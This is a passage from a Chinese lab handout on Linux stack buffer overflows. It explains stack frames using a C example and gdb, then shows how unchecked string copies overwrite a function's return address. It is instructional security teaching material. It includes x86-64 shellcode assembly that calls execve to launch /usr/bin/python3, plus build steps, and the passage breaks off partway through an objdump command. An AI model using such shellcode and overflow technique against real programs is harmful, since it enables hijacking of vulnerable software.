实验 Linux 下的缓冲区溢出实践.docxVIP

实验目的

理解Linux系统下缓冲区溢出机制。

实验环境

操作系统：Ubuntu20.04

LinuxKernel：5.4.0-53-generic

（2）软件工具：gcc(Ubuntu9.3.0-17ubuntu1~20.04)9.3.0

3.实验原理

#include?stdio.h

int?calc(int?a,?int?b,?int*?sum)?{

????*sum?=?a?+?b;

????return?0;

}

int?main(int?argc,?char?*argv[])?{

????int?a?=?1;

????int?b?=?2;

????int?sum?=?0;

????printf(before?calc?:?a?=?%d,?b?=?%d,?sum?=?%d\n,?a,?b,?sum);

????calc(a,?b,?sum);

????printf(after?calc?:?a?=?%d,?b?=?%d,?sum?=?%d\n,?a,?b,?sum);

????return?0;

}

参考上述代码，calc（）函数有三个参数，第一个，第二个是参与计算的数，第三个是保存结果的变量的地址。编译运行，结果如下图所示

接下来我们使用gdb调试程序

先用b命令在代码16行calc（a,b,sum）下断点，使用r运行，等程序在16行处停下来，查看a,b,sum的地址和rbp,rsp的值，如下图所示。

如下图所示，进入calc（）函数后,因为函数传递参数是传值，会新申请内存空间保存变量，所以可以看到a,b,sum的地址都改变了

但是从下图我们可以看出来，形参额值是不变的。所以在函数调用时，如果想要将调用函数里的计算结果传递出来，一来可以用return，但是只能传出一个数据。第二种就是像第三个参数那样使用变量地址。

进入

进入calc函数前后栈变化

如上图所示，在调用函数calc(a,b,sum)后，三个参数依次压栈，然后是calc（a,b,sum）下一条指令地址，接下来是RBP，然后是calc（）函数的局部变量。在C语言中，scanf（“%s”,str）和strcpy(str,str2)等字符串操作函数，并不会去检查字符串str和str2的长度，所以在字符串拷贝的时候（或者其他类型数组赋值未检查数组大小时），很可能写入变量所表示大小以外的内存空间。由于数组赋值的地址是向着高地址增长，数组越界写入就会覆盖其他局部变量的值，更严重的是会覆盖函数的返回地址（上图中的RET），在调用函数结束恢复RIP的时候，导致程序流程进入非正常位置。如果我们精心构造输入数据，则在数组越界写入时，将函数返回地址修改为我们可控的值，从而控制程序运行。

实验要求

通过认真学习缓冲区溢出原理，明确实验目的、原理、方法以及注意事项等。

实验过程中必须认真严肃，并认真学习和记录实验数据，从而进行科学分析。

独立认真完成实验报告，语言简练、表达清晰，适当情况下增加相应的画图信息。

5.实验内容和步骤

5.1实验内容

5.1.1、根据附件程序attack.c画出堆栈结构图

5.1.2、构造shellcode实现缓冲区溢出攻击

Shellcode是一段代码或者填充数据，以及机器码的形式出现在程序中，是溢出程序的核心，实现缓冲区溢出的关键便是shellcode的编写。

编写步骤如下：

首先用汇编实现相应的shellcode功能；测试shellcode是否可以正常运行，如果提示断错误而代码又没问题应该是代码段写入出错，可以将shellcode用C语言测试功能（见shellcodetest.c）

生成机器码，进行栈溢出利用实验

5.2实验步骤

5.2.1构造shellcode

首先是构造shellcode.S汇编文件。执行该汇编文件能够打开python解释器，该文件所对应的代码如下所示

.global?_start

.text

#?evecve(filename,?arg,?env)

#?%rax保存系统调用号，%rdi保存第一个参数，%rsi保存第二个参数

_start:

????lea?data(%rip),?%rdi

????movq?$59,?%rax

????xor?%rsi,?%rsi

????xor?%rdx,?%rdx

????syscall

data:

????.asciz?/usr/bin/python3

接着我们使用gcc对汇编文件进行编译

gcc?-nostdlib?shellcode.S?-o?shellcode64.elf

直接运行生成的可执行文件shellcode64.elf，可以发现成功弹出python解释器

接着我们使用命令

objdump?-d?shellcode64.elf??shel